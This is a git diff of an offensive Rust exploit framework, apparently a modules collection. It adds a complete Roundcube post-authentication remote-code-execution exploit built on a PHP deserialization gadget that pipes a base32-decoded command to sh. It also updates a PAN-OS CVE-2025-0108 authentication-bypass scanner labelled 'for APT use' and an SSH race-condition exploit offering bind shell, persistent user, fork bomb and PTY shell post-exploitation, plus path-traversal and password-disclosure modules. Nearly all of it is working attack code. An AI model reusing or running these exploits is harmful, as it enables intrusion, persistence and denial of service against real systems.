||||
println!("\n{}", "[*] Test completed.".cyan());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -0,0 +1,2 @@
|
||||
pub mod cve_2023_44487_http2_rapid_reset;
|
||||
|
||||
@@ -13,5 +13,8 @@ pub mod acti;
|
||||
pub mod zte;
|
||||
pub mod ivanti;
|
||||
pub mod apache_tomcat;
|
||||
pub mod palto_alto;
|
||||
pub mod palo_alto;
|
||||
pub mod roundcube;
|
||||
pub mod flowise;
|
||||
pub mod http2;
|
||||
|
||||
|
||||
+56
-22
@@ -1,6 +1,9 @@
|
||||
// Filename: cve_2025_0108.rs
|
||||
// CVE-2025-0108 - PanOS Authentication Bypass
|
||||
// Author: iSee857
|
||||
// Ported to Rust by ethical hacker daniel for APT use
|
||||
|
||||
use anyhow::{Result, bail};
|
||||
use anyhow::{Context, Result, bail};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::{
|
||||
@@ -11,11 +14,7 @@ use std::{
|
||||
};
|
||||
use url::Url;
|
||||
|
||||
/// // CVE-2025-0108 - PanOS Authentication Bypass
|
||||
/// // Author: iSee857
|
||||
/// // Ported to Rust by ethical hacker daniel for APT use
|
||||
|
||||
/// // Displays module banner
|
||||
/// Displays module banner
|
||||
fn banner() {
|
||||
println!(
|
||||
"{}",
|
||||
@@ -30,14 +29,27 @@ fn banner() {
|
||||
);
|
||||
}
|
||||
|
||||
/// // Reads target list from file
|
||||
/// Reads target list from file
|
||||
fn read_file(file_path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(file_path)?;
|
||||
let file = File::open(file_path)
|
||||
.with_context(|| format!("Failed to open file: {}", file_path))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader.lines().filter_map(Result::ok).collect())
|
||||
let urls: Vec<String> = reader
|
||||
.lines()
|
||||
.filter_map(|line| {
|
||||
let line = line.ok()?;
|
||||
let trimmed = line.trim();
|
||||
if trimmed.is_empty() || trimmed.starts_with('#') {
|
||||
None
|
||||
} else {
|
||||
Some(trimmed.to_string())
|
||||
}
|
||||
})
|
||||
.collect();
|
||||
Ok(urls)
|
||||
}
|
||||
|
||||
/// // Normalize IPv6 host with double or triple brackets
|
||||
/// Normalize IPv6 host with double or triple brackets
|
||||
fn normalize_ipv6_host(host: &str) -> String {
|
||||
let stripped = host.trim_matches(|c| c == '[' || c == ']');
|
||||
if stripped.contains(':') {
|
||||
@@ -47,14 +59,14 @@ fn normalize_ipv6_host(host: &str) -> String {
|
||||
}
|
||||
}
|
||||
|
||||
/// // Constructs the full normalized URL
|
||||
/// Constructs the full normalized URL
|
||||
fn normalize_url(host: &str, port: u16, proto: &str) -> Option<String> {
|
||||
let host = normalize_ipv6_host(host);
|
||||
let base = format!("{}{}:{}", proto, host, port);
|
||||
Url::parse(&base).ok().map(|u| u.to_string())
|
||||
}
|
||||
|
||||
/// // Opens a URL in the default system browser
|
||||
/// Opens a URL in the default system browser
|
||||
fn open_browser(url: &str) -> Result<()> {
|
||||
#[cfg(target_os = "linux")]
|
||||
let cmd = Command::new("xdg-open").arg(url).spawn();
|
||||
@@ -71,7 +83,7 @@ fn open_browser(url: &str) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Executes CVE-2025-0108 check
|
||||
/// Executes CVE-2025-0108 check
|
||||
async fn check(url: &str, port: u16, client: &Client) -> Result<bool> {
|
||||
let protocols = ["http://", "https://"];
|
||||
let path = "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css";
|
||||
@@ -79,7 +91,7 @@ async fn check(url: &str, port: u16, client: &Client) -> Result<bool> {
|
||||
for proto in &protocols {
|
||||
if let Some(base_url) = normalize_url(url, port, proto) {
|
||||
let full_url = format!("{}{}", base_url.trim_end_matches('/'), path);
|
||||
println!("{}", full_url);
|
||||
println!("{}", format!("[*] Testing: {}", full_url).yellow());
|
||||
|
||||
let resp = client.get(&full_url).send().await;
|
||||
|
||||
@@ -90,11 +102,25 @@ async fn check(url: &str, port: u16, client: &Client) -> Result<bool> {
|
||||
if status.as_u16() == 200 && body.contains("Zero Touch Provisioning") {
|
||||
println!(
|
||||
"{}",
|
||||
format!("Find: {}:{} PanOS_CVE-2025-0108_LoginByPass!", url, port).red()
|
||||
format!("[+] Find: {}:{} PanOS_CVE-2025-0108_LoginByPass!", url, port)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
println!("{}", format!("[*] Vulnerable URL: {}", full_url).cyan());
|
||||
let _ = open_browser(&full_url);
|
||||
return Ok(true);
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[-] Not vulnerable: {}:{} - Response code: {}", url, port, status.as_u16())
|
||||
.red()
|
||||
);
|
||||
}
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[-] Error connecting to {}:{}", url, port).red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -102,13 +128,12 @@ async fn check(url: &str, port: u16, client: &Client) -> Result<bool> {
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
|
||||
/// // Main entry point for auto-dispatch system
|
||||
/// Main entry point for auto-dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
banner();
|
||||
|
||||
let mut port_input = String::new();
|
||||
print!("Enter target port (default 443): ");
|
||||
print!("{}", "Enter target port (default 443): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut port_input)?;
|
||||
let port: u16 = port_input.trim().parse().unwrap_or(443);
|
||||
@@ -116,15 +141,24 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(10))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()?;
|
||||
.build()
|
||||
.context("Failed to create HTTP client")?;
|
||||
|
||||
if target.ends_with(".txt") {
|
||||
let urls = read_file(target)?;
|
||||
for url in urls {
|
||||
let _ = check(&url, port, &client).await;
|
||||
if urls.is_empty() {
|
||||
return Err(anyhow::anyhow!("No URLs found in file: {}", target));
|
||||
}
|
||||
println!("{}", format!("[*] Loaded {} URLs from file", urls.len()).yellow());
|
||||
let mut vulnerable_count = 0;
|
||||
for url in urls {
|
||||
if check(&url, port, &client).await? {
|
||||
vulnerable_count += 1;
|
||||
}
|
||||
}
|
||||
println!("{}", format!("[*] Scan completed. Found {} vulnerable target(s)", vulnerable_count).cyan());
|
||||
} else {
|
||||
let _ = check(target, port, &client).await;
|
||||
let _ = check(target, port, &client).await?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
@@ -1,4 +1,5 @@
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use rand::{seq::SliceRandom, rng};
|
||||
use std::{
|
||||
fs,
|
||||
@@ -9,7 +10,7 @@ use std::{
|
||||
use base64::{engine::general_purpose::STANDARD as BASE64_STANDARD, Engine as _};
|
||||
|
||||
fn prompt(prompt: &str) -> Result<String> {
|
||||
print!("{prompt}");
|
||||
print!("{}", prompt.cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut buffer = String::new();
|
||||
io::stdin().read_line(&mut buffer)?;
|
||||
|
||||
@@ -4,6 +4,7 @@
|
||||
|
||||
use rand::prelude::*;
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use rand::{rng, seq::SliceRandom, Rng};
|
||||
use std::io::{self, Write as IoWrite};
|
||||
use tokio::fs::File as TokioFile;
|
||||
@@ -285,7 +286,8 @@ call :SleepS {random_sleep_lo}
|
||||
|
||||
/// // Prompt user, fallback to default if empty input
|
||||
fn prompt(msg: &str, default: Option<&str>) -> String {
|
||||
print!("{}{}: ", msg, default.map_or("".to_string(), |d| format!(" [{}]", d)));
|
||||
let default_str = default.map_or("".to_string(), |d| format!(" [{}]", d));
|
||||
print!("{}", format!("{}{}: ", msg, default_str).cyan().bold());
|
||||
io::stdout().flush().unwrap();
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input).unwrap();
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
pub mod roundcube_postauth_rce;
|
||||
@@ -0,0 +1,215 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use data_encoding::BASE32_NOPAD;
|
||||
use md5;
|
||||
use rand::Rng;
|
||||
use base64::Engine as _;
|
||||
use regex::Regex;
|
||||
use reqwest::{Client, cookie::Jar, redirect::Policy};
|
||||
use std::io::{self, Write};
|
||||
use std::sync::Arc;
|
||||
use std::time::{SystemTime, UNIX_EPOCH};
|
||||
use rand::distr::Alphanumeric;
|
||||
/// // Decode base64 constant for small transparent PNG
|
||||
fn transparent_png() -> Vec<u8> {
|
||||
const PNG_B64: &str = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==";
|
||||
base64::engine::general_purpose::STANDARD
|
||||
.decode(PNG_B64)
|
||||
.unwrap_or_default()
|
||||
}
|
||||
|
||||
/// // Build the serialized PHP payload using Crypt_GPG_Engine gadget
|
||||
fn build_serialized_payload(cmd: &str) -> String {
|
||||
let encoded = BASE32_NOPAD.encode(cmd.as_bytes());
|
||||
let gpgconf = format!("echo \"{}\"|base32 -d|sh &#", encoded);
|
||||
let len = gpgconf.len();
|
||||
format!(
|
||||
"|O:16:\"Crypt_GPG_Engine\":3:{{s:8:\"_process\";b:0;s:8:\"_gpgconf\";s:{}:\"{}\";s:8:\"_homedir\";s:0:\"\";}};",
|
||||
len, gpgconf
|
||||
)
|
||||
}
|
||||
|
||||
fn generate_from() -> &'static str {
|
||||
const OPTIONS: [&str; 6] = ["compose", "reply", "import", "settings", "folders", "identity"];
|
||||
let idx = rand::rng().random_range(0..OPTIONS.len());
|
||||
OPTIONS[idx]
|
||||
}
|
||||
|
||||
fn generate_id() -> String {
|
||||
let mut rand_bytes = [0u8; 8];
|
||||
rand::rng().fill(&mut rand_bytes);
|
||||
let timestamp = SystemTime::now()
|
||||
.duration_since(UNIX_EPOCH)
|
||||
.unwrap()
|
||||
.as_nanos()
|
||||
.to_string();
|
||||
format!("{:x}", md5::compute([rand_bytes.as_slice(), timestamp.as_bytes()].concat()))
|
||||
}
|
||||
|
||||
fn generate_uploadid() -> String {
|
||||
let millis = SystemTime::now()
|
||||
.duration_since(UNIX_EPOCH)
|
||||
.unwrap()
|
||||
.as_millis();
|
||||
format!("upload{}", millis)
|
||||
}
|
||||
|
||||
async fn fetch_login_page(client: &Client, base: &str) -> Result<String> {
|
||||
let mut url = reqwest::Url::parse(base)?;
|
||||
url.query_pairs_mut().append_pair("_task", "login");
|
||||
|
||||
let res = client.get(url).send().await.map_err(|e| anyhow!("HTTP error: {e}"))?;
|
||||
if res.status() != 200 {
|
||||
return Err(anyhow!("Unexpected HTTP status: {}", res.status()));
|
||||
}
|
||||
Ok(res.text().await?)
|
||||
}
|
||||
|
||||
async fn fetch_csrf_token(client: &Client, base: &str) -> Result<String> {
|
||||
let body = fetch_login_page(client, base).await?;
|
||||
let re = Regex::new(r#"<input[^>]*name="_token"[^>]*value="([^"]+)""#)?;
|
||||
if let Some(cap) = re.captures(&body) {
|
||||
Ok(cap[1].to_string())
|
||||
} else {
|
||||
Err(anyhow!("CSRF token not found"))
|
||||
}
|
||||
}
|
||||
|
||||
async fn check_version(client: &Client, base: &str) -> Result<Option<u32>> {
|
||||
let body = fetch_login_page(client, base).await?;
|
||||
let re = Regex::new(r#"\"rcversion\"\s*:\s*(\d+)"#)?;
|
||||
if let Some(cap) = re.captures(&body) {
|
||||
Ok(cap[1].parse().ok())
|
||||
} else {
|
||||
Ok(None)
|
||||
}
|
||||
}
|
||||
|
||||
async fn login(client: &Client, base: &str, username: &str, password: &str, host: &str) -> Result<()> {
|
||||
let token = fetch_csrf_token(client, base).await?;
|
||||
let mut url = reqwest::Url::parse(base)?;
|
||||
url.query_pairs_mut().append_pair("_task", "login");
|
||||
|
||||
let mut params = vec![
|
||||
("_token", token),
|
||||
("_task", "login".to_string()),
|
||||
("_action", "login".to_string()),
|
||||
("_url", "_task=login".to_string()),
|
||||
("_user", username.to_string()),
|
||||
("_pass", password.to_string()),
|
||||
];
|
||||
if !host.is_empty() {
|
||||
params.push(("_host", host.to_string()));
|
||||
}
|
||||
|
||||
let res = client
|
||||
.post(url)
|
||||
.form(¶ms)
|
||||
.send()
|
||||
.await
|
||||
.map_err(|e| anyhow!("Login request failed: {e}"))?;
|
||||
|
||||
if res.status() != 302 {
|
||||
return Err(anyhow!("Login failed: HTTP {}", res.status()));
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn upload_payload(client: &Client, base: &str, filename: &str) -> Result<()> {
|
||||
let png = transparent_png();
|
||||
let boundary: String = rand::rng()
|
||||
.sample_iter(&Alphanumeric)
|
||||
.take(8)
|
||||
.map(char::from)
|
||||
.collect();
|
||||
|
||||
let mut body = Vec::new();
|
||||
body.extend_from_slice(format!("--{}\r\n", boundary).as_bytes());
|
||||
body.extend_from_slice(format!("Content-Disposition: form-data; name=\"_file[]\"; filename=\"{}\"\r\n", filename).as_bytes());
|
||||
body.extend_from_slice(b"Content-Type: image/png\r\n\r\n");
|
||||
body.extend_from_slice(&png);
|
||||
body.extend_from_slice(format!("\r\n--{}--\r\n", boundary).as_bytes());
|
||||
|
||||
let mut url = reqwest::Url::parse(base)?;
|
||||
url.set_query(None);
|
||||
url.query_pairs_mut()
|
||||
.append_pair("_task", "settings")
|
||||
.append_pair("_remote", "1")
|
||||
.append_pair("_from", &format!("edit-!{}", generate_from()))
|
||||
.append_pair("_id", &generate_id())
|
||||
.append_pair("_uploadid", &generate_uploadid())
|
||||
.append_pair("_action", "upload");
|
||||
|
||||
client
|
||||
.post(url)
|
||||
.header("Content-Type", format!("multipart/form-data; boundary={}", boundary))
|
||||
.body(body)
|
||||
.send()
|
||||
.await
|
||||
.map_err(|e| anyhow!("Upload request failed: {e}"))?;
|
||||
|
||||
println!("[+] Exploit attempt complete. Check your listener or reverse shell.");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Entry point for dispatcher
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let mut base_url = target.trim().to_string();
|
||||
if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
|
||||
base_url = format!("http://{}", base_url);
|
||||
}
|
||||
base_url = base_url.trim_end_matches('/').to_string();
|
||||
|
||||
// // HTTP client with cookies and no redirects
|
||||
let jar = Jar::default();
|
||||
let client = Client::builder()
|
||||
.cookie_provider(Arc::new(jar))
|
||||
.redirect(Policy::none())
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(std::time::Duration::from_secs(10))
|
||||
.build()?;
|
||||
|
||||
if let Some(ver) = check_version(&client, &base_url).await? {
|
||||
println!("[*] Detected Roundcube version: {}", ver);
|
||||
if (10100..=10509).contains(&ver) || (10600..=10610).contains(&ver) {
|
||||
println!("[!] Version appears vulnerable!");
|
||||
} else {
|
||||
println!("[-] Version not in known vulnerable range.");
|
||||
}
|
||||
} else {
|
||||
println!("[?] Could not determine version.");
|
||||
}
|
||||
|
||||
let mut username = String::new();
|
||||
let mut password = String::new();
|
||||
let mut host = String::new();
|
||||
let mut command = String::new();
|
||||
|
||||
print!("Username: ");
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut username)?;
|
||||
|
||||
print!("Password: ");
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut password)?;
|
||||
|
||||
print!("Host parameter (optional): ");
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut host)?;
|
||||
|
||||
print!("Command to execute: ");
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut command)?;
|
||||
|
||||
let username = username.trim();
|
||||
let password = password.trim();
|
||||
let host = host.trim();
|
||||
let command = command.trim();
|
||||
|
||||
if username.is_empty() || password.is_empty() || command.is_empty() {
|
||||
return Err(anyhow!("Username, password and command must be provided"));
|
||||
}
|
||||
|
||||
login(&client, &base_url, username, password, host).await?;
|
||||
let serialized = build_serialized_payload(command);
|
||||
upload_payload(&client, &base_url, &serialized).await
|
||||
}
|
||||
@@ -4,6 +4,7 @@
|
||||
//// no auth when you use api and can be excuted locally
|
||||
//// src/modules/exploits/spotube/spotube.rs
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use futures_util::{SinkExt, StreamExt};
|
||||
use reqwest::Client;
|
||||
use serde_json::json;
|
||||
@@ -71,7 +72,7 @@ async fn execute(host: &str, port: &str, path: &str) -> Result<()> {
|
||||
// //// // Sends a malicious 'load' event over WS with a track name containing ../
|
||||
async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
|
||||
// prompt for malicious filename
|
||||
print!("Enter malicious filename (e.g. ../evil.sh): ");
|
||||
print!("{}", "Enter malicious filename (e.g. ../evil.sh): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut name = String::new();
|
||||
io::stdin().read_line(&mut name)?;
|
||||
@@ -81,7 +82,7 @@ async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
|
||||
};
|
||||
|
||||
// prompt for fake track ID
|
||||
print!("Enter fake track ID (e.g. INJECT1): ");
|
||||
print!("{}", "Enter fake track ID (e.g. INJECT1): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut tid = String::new();
|
||||
io::stdin().read_line(&mut tid)?;
|
||||
@@ -91,7 +92,7 @@ async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
|
||||
};
|
||||
|
||||
// prompt for codec extension
|
||||
print!("Enter codec extension (e.g. mp3): ");
|
||||
print!("{}", "Enter codec extension (e.g. mp3): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut cd = String::new();
|
||||
io::stdin().read_line(&mut cd)?;
|
||||
@@ -154,7 +155,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let host = target.to_string(); // use target passed from set command
|
||||
|
||||
// //// // port prompt (optional override)
|
||||
print!("Enter port [17086]: ");
|
||||
print!("{}", "Enter port [17086]: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut p = String::new();
|
||||
io::stdin().read_line(&mut p)?;
|
||||
|
||||
@@ -1,9 +1,10 @@
|
||||
use std::io::{self, ErrorKind, Write};
|
||||
use std::sync::Arc;
|
||||
use anyhow::{Result, bail, Context};
|
||||
use colored::*;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{sleep, Duration, Instant};
|
||||
use tokio::time::{sleep, timeout, Duration, Instant};
|
||||
use tokio::sync::Semaphore;
|
||||
use futures_util::stream::{FuturesUnordered, StreamExt};
|
||||
|
||||
@@ -76,7 +77,7 @@ fn normalize_target(ip: &str, port: u16) -> Result<String> {
|
||||
}
|
||||
|
||||
async fn handle_bind_shell_session(conn: TcpStream) -> anyhow::Result<()> {
|
||||
println!("[*] Connected! Interactive shell below (type 'exit' to quit):");
|
||||
println!("{}", "[*] Connected! Interactive shell below (type 'exit' to quit):".green().bold());
|
||||
let (mut rd, mut wr) = tokio::io::split(conn);
|
||||
let mut stdin = tokio::io::stdin();
|
||||
let mut stdout = tokio::io::stdout();
|
||||
@@ -110,7 +111,7 @@ async fn handle_bind_shell_session(conn: TcpStream) -> anyhow::Result<()> {
|
||||
});
|
||||
|
||||
let _ = tokio::try_join!(reader, writer);
|
||||
println!("[*] Shell session ended.");
|
||||
println!("{}", "[*] Shell session ended.".yellow());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -129,9 +130,10 @@ async fn recv_retry(stream: &mut TcpStream, buf: &mut [u8]) -> Result<usize> {
|
||||
loop {
|
||||
match stream.read(buf).await {
|
||||
Ok(n) if n > 0 => return Ok(n),
|
||||
Ok(_) => bail!("Connection closed while receiving data"),
|
||||
Err(ref e) if e.kind() == ErrorKind::WouldBlock => {
|
||||
sleep(Duration::from_millis(1)).await;
|
||||
Ok(0) => bail!("Connection closed while receiving data"),
|
||||
Ok(_) => bail!("Unexpected read result"),
|
||||
Err(ref e) if e.kind() == ErrorKind::WouldBlock || e.kind() == ErrorKind::TimedOut => {
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
continue;
|
||||
}
|
||||
Err(e) => return Err(e.into()),
|
||||
@@ -211,27 +213,28 @@ async fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, glibc_
|
||||
|
||||
let calculated_wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
|
||||
if calculated_wait_time < 0.0 {
|
||||
println!("[!] Warning: Calculated wait time is negative ({:.4}s). Clamping to 0.", calculated_wait_time);
|
||||
println!("{}", format!("[!] Warning: Calculated wait time is negative ({:.4}s). Clamping to 0.", calculated_wait_time).yellow());
|
||||
}
|
||||
let wait_time_duration = Duration::from_secs_f64(calculated_wait_time.max(0.0));
|
||||
sleep(wait_time_duration).await;
|
||||
|
||||
stream.write_all(&public_key_packet_data[public_key_packet_data.len() - 1..]).await?;
|
||||
let mut buf = [0u8; 1024];
|
||||
match stream.read(&mut buf).await {
|
||||
Ok(n) if n > 0 && !buf.starts_with(b"SSH-2.0-") => Ok(true),
|
||||
Ok(0) => Ok(true),
|
||||
Err(_) => Ok(true),
|
||||
_ => Ok(false),
|
||||
match timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
|
||||
Ok(Ok(n)) if n > 0 && !buf[..n.min(8)].starts_with(b"SSH-2.0-") => Ok(true),
|
||||
Ok(Ok(0)) => Ok(true),
|
||||
Ok(Ok(_)) => Ok(false),
|
||||
Ok(Err(_)) => Ok(true),
|
||||
Err(_) => Ok(true), // Timeout might indicate success
|
||||
}
|
||||
}
|
||||
|
||||
fn print_post_actions() {
|
||||
println!("Available Post-Ex Actions:");
|
||||
println!(" 1. Bind Shell (port {})", BIND_SHELL_PORT);
|
||||
println!(" 2. Persistent user '{}'", PERSISTENT_USER);
|
||||
println!(" 3. Fork bomb (Denial/Crash)");
|
||||
println!(" 4. Interactive PTY shell (recommended)");
|
||||
println!("{}", "Available Post-Ex Actions:".cyan().bold());
|
||||
println!(" 1. {} (port {})", "Bind Shell".green(), BIND_SHELL_PORT);
|
||||
println!(" 2. {} user '{}'", "Persistent".green(), PERSISTENT_USER);
|
||||
println!(" 3. {} (Denial/Crash)", "Fork bomb".red());
|
||||
println!(" 4. {} (recommended)", "Interactive PTY shell".green().bold());
|
||||
}
|
||||
|
||||
fn get_postex_command(action: u8) -> String {
|
||||
@@ -251,10 +254,10 @@ fn get_postex_command(action: u8) -> String {
|
||||
}
|
||||
|
||||
async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
|
||||
println!("[*] Target: {}:{}", target_ip, port_num);
|
||||
println!("{}", format!("[*] Target: {}:{}", target_ip, port_num).cyan().bold());
|
||||
|
||||
print_post_actions();
|
||||
print!("Select post-ex action [1-4, default 4]: ");
|
||||
print!("{}", "Select post-ex action [1-4, default 4]: ".cyan().bold());
|
||||
std::io::stdout().flush().ok();
|
||||
let mut choice_str = String::new();
|
||||
std::io::stdin().read_line(&mut choice_str).ok();
|
||||
@@ -262,7 +265,7 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
|
||||
|
||||
let num_attempts_per_base: usize;
|
||||
loop {
|
||||
print!("Enter the number of attempts per GLIBC base: ");
|
||||
print!("{}", "Enter the number of attempts per GLIBC base: ".cyan().bold());
|
||||
std::io::stdout().flush().context("Failed to flush stdout for attempts input")?;
|
||||
let mut attempts_str = String::new();
|
||||
std::io::stdin().read_line(&mut attempts_str).context("Failed to read number of attempts")?;
|
||||
@@ -272,7 +275,7 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
|
||||
break;
|
||||
}
|
||||
_ => {
|
||||
println!("[!] Invalid input. Please enter a positive integer for the number of attempts.");
|
||||
println!("{}", "[!] Invalid input. Please enter a positive integer for the number of attempts.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -288,9 +291,9 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
|
||||
current_base += GLIBC_STEP;
|
||||
}
|
||||
|
||||
println!("[*] Brute-forcing GLIBC base from 0x{:x} to 0x{:x} with step 0x{:x}", GLIBC_BASE_START, GLIBC_BASE_END, GLIBC_STEP);
|
||||
println!("[*] Total GLIBC bases to check: {}", glibc_bases.len());
|
||||
println!("[*] Attempts per GLIBC base: {}", num_attempts_per_base);
|
||||
println!("{}", format!("[*] Brute-forcing GLIBC base from 0x{:x} to 0x{:x} with step 0x{:x}", GLIBC_BASE_START, GLIBC_BASE_END, GLIBC_STEP).cyan());
|
||||
println!("{}", format!("[*] Total GLIBC bases to check: {}", glibc_bases.len()).cyan());
|
||||
println!("{}", format!("[*] Attempts per GLIBC base: {}", num_attempts_per_base).cyan());
|
||||
|
||||
|
||||
for glibc_base_addr in glibc_bases {
|
||||
@@ -324,7 +327,7 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
|
||||
};
|
||||
|
||||
if attempt_race_condition(stream, parsing_time, glibc_base_addr).await.unwrap_or(false) {
|
||||
println!("[+] Exploit succeeded! GLIBC base 0x{:x} (attempt {})", glibc_base_addr, attempt_num);
|
||||
println!("{}", format!("[+] Exploit succeeded! GLIBC base 0x{:x} (attempt {})", glibc_base_addr, attempt_num).green().bold());
|
||||
|
||||
if !cmd_clone.is_empty() {
|
||||
println!("[*] Post-ex command to execute (conceptually): {}", cmd_clone);
|
||||
@@ -375,10 +378,10 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
|
||||
while let Some(task_result) = tasks.next().await {
|
||||
match task_result {
|
||||
Ok(Ok(true)) => {
|
||||
println!("[SUCCESS] Exploit Succeeded! One of the attempts was successful.");
|
||||
println!("[*] Check chosen post-exploitation action effects.");
|
||||
println!("{}", "[SUCCESS] Exploit Succeeded! One of the attempts was successful.".green().bold());
|
||||
println!("{}", "[*] Check chosen post-exploitation action effects.".cyan());
|
||||
if mode_choice == 1 {
|
||||
println!("[*] If you chose a bind shell, connect with: nc {} {}", target_ip, BIND_SHELL_PORT);
|
||||
println!("{}", format!("[*] If you chose a bind shell, connect with: nc {} {}", target_ip, BIND_SHELL_PORT).cyan());
|
||||
}
|
||||
success_found = true;
|
||||
break;
|
||||
@@ -390,8 +393,8 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
|
||||
}
|
||||
|
||||
if !success_found {
|
||||
println!("[-] All attempts finished. Exploit likely unsuccessful with current parameters.");
|
||||
println!("[-] Try adjusting GLIBC range, timing, or concurrency if target is vulnerable.");
|
||||
println!("{}", "[-] All attempts finished. Exploit likely unsuccessful with current parameters.".red());
|
||||
println!("{}", "[-] Try adjusting GLIBC range, timing, or concurrency if target is vulnerable.".yellow());
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -408,7 +411,7 @@ pub async fn run(target_info: &str) -> anyhow::Result<()> {
|
||||
let port_num: u16;
|
||||
|
||||
loop {
|
||||
print!("Enter the target port number (e.g., 22): ");
|
||||
print!("{}", "Enter the target port number (e.g., 22): ".cyan().bold());
|
||||
io::stdout().flush().context("Failed to flush stdout")?;
|
||||
|
||||
let mut port_input = String::new();
|
||||
@@ -420,10 +423,10 @@ pub async fn run(target_info: &str) -> anyhow::Result<()> {
|
||||
break;
|
||||
}
|
||||
Ok(_) => {
|
||||
println!("[!] Invalid port number. Port must be a positive integer (1-65535). Please try again.");
|
||||
println!("{}", "[!] Invalid port number. Port must be a positive integer (1-65535). Please try again.".yellow());
|
||||
}
|
||||
Err(_) => {
|
||||
println!("[!] Invalid input. Please enter a valid port number (1-65535).");
|
||||
println!("{}", "[!] Invalid input. Please enter a valid port number (1-65535).".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,5 +1 @@
|
||||
pub mod uniview_nvr_pwd_disclosure;
|
||||
|
||||
|
||||
|
||||
// pub mod
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
use aes::Aes128;
|
||||
use anyhow::Result;
|
||||
use cipher::{BlockDecrypt, KeyInit};
|
||||
use cipher::generic_array::GenericArray;
|
||||
use cipher::{BlockDecrypt, KeyInit, Block};
|
||||
use colored::*;
|
||||
use reqwest::{Client, cookie::Jar};
|
||||
use std::{
|
||||
fs::{self, File},
|
||||
@@ -16,8 +16,6 @@ use std::net::ToSocketAddrs;
|
||||
|
||||
/// AES-128 ECB decrypt without padding
|
||||
fn decrypt_ecb_nopad(data: &[u8], key: &[u8]) -> Result<Vec<u8>> {
|
||||
use cipher::consts::U16;
|
||||
|
||||
if data.len() % 16 != 0 {
|
||||
anyhow::bail!("ECB decryption requires block-aligned data");
|
||||
}
|
||||
@@ -26,7 +24,9 @@ fn decrypt_ecb_nopad(data: &[u8], key: &[u8]) -> Result<Vec<u8>> {
|
||||
let mut output = Vec::with_capacity(data.len());
|
||||
|
||||
for chunk in data.chunks(16) {
|
||||
let mut block = GenericArray::<u8, U16>::clone_from_slice(chunk);
|
||||
let mut arr = [0u8; 16];
|
||||
arr.copy_from_slice(chunk);
|
||||
let mut block = Block::<Aes128>::from(arr);
|
||||
cipher.decrypt_block(&mut block);
|
||||
output.extend_from_slice(&block);
|
||||
}
|
||||
@@ -47,7 +47,8 @@ fn parse_target(target: &str) -> Result<(String, u16)> {
|
||||
return Ok((parts[0].to_string(), port));
|
||||
}
|
||||
|
||||
println!("[?] No port provided. Enter port:");
|
||||
print!("{}", "[?] No port provided. Enter port: ".cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let port = input.trim().parse::<u16>()?;
|
||||
|
||||
